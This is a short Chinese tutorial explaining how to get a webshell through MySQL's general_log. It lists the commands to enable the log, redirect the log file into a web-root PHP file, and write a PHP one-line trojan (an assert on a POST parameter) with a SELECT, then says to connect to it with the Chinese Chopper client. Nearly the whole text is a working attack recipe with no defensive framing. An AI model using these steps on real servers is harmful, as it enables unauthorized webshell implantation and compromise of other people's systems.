利用general_log来getshell

 

设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件

使用show variables like '%general%'; //查询general_log的开启状态如图

如果没有开启可以使用set global general_log=on;//将其打开。

然后使用set global general_log_file='D:/wamp/www/1.php';//将日志产生的默认路径改为D:/wamp/www/1.php。执行成功后，查看日志文件是否生成

使用selece语句写入一句话木马select '<?php assert($_POST["v01cano"]); ?>'

执行的语句会被记录到日志中去，使用菜刀连接刚才修改的路径。